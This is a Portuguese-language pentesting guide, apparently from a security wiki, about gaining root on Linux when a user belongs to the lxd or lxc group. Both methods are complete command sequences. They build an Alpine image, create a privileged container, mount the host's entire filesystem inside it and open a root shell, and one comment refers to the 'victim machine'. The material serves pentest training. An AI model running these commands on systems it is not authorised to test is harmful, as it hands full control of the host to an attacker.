Se você pertence ao grupo _**lxd**_ **ou** _**lxc**_, você pode se tornar root
|
|
|
|
## Explorando sem internet
|
|
|
|
### Método 1
|
|
|
|
Você pode instalar em sua máquina este construtor de distro: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(siga as instruções do github):
|
|
```bash
|
|
sudo su
|
|
# Install requirements
|
|
sudo apt update
|
|
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools
|
|
|
|
# Clone repo
|
|
git clone https://github.com/lxc/distrobuilder
|
|
|
|
# Make distrobuilder
|
|
cd distrobuilder
|
|
make
|
|
|
|
# Prepare the creation of alpine
|
|
mkdir -p $HOME/ContainerImages/alpine/
|
|
cd $HOME/ContainerImages/alpine/
|
|
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
|
|
|
|
# Create the container
|
|
## Using build-lxd
|
|
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
|
|
## Using build-lxc
|
|
sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18
|
|
```
|
|
Faça o upload dos arquivos **lxd.tar.xz** e **rootfs.squashfs**, adicione a imagem ao repositório e crie um contêiner:
|
|
```bash
|
|
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
|
|
|
|
# Check the image is there
|
|
lxc image list
|
|
|
|
# Create the container
|
|
lxc init alpine privesc -c security.privileged=true
|
|
|
|
# List containers
|
|
lxc list
|
|
|
|
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
|
|
```
|
|
{% hint style="danger" %}
|
|
Se você encontrar este erro _**Erro: Nenhum pool de armazenamento encontrado. Por favor, crie um novo pool de armazenamento**_\
|
|
Execute **`lxd init`** e **repita** o bloco anterior de comandos
|
|
{% endhint %}
|
|
|
|
Finalmente, você pode executar o contêiner e obter root:
|
|
```bash
|
|
lxc start privesc
|
|
lxc exec privesc /bin/sh
|
|
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
|
|
```
|
|
### Método 2
|
|
|
|
Crie uma imagem Alpine e inicie-a usando a flag `security.privileged=true`, forçando o contêiner a interagir como root com o sistema de arquivos do host.
|
|
```bash
|
|
# build a simple alpine image
|
|
git clone https://github.com/saghul/lxd-alpine-builder
|
|
cd lxd-alpine-builder
|
|
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
|
|
sudo ./build-alpine -a i686
|
|
|
|
# import the image
|
|
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.
|
|
|
|
# before running the image, start and configure the lxd storage pool as default
|
|
lxd init
|
|
|
|
# run the image
|
|
lxc init myimage mycontainer -c security.privileged=true
|
|
|
|
# mount the /root into the image
|
|
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
|
|
```
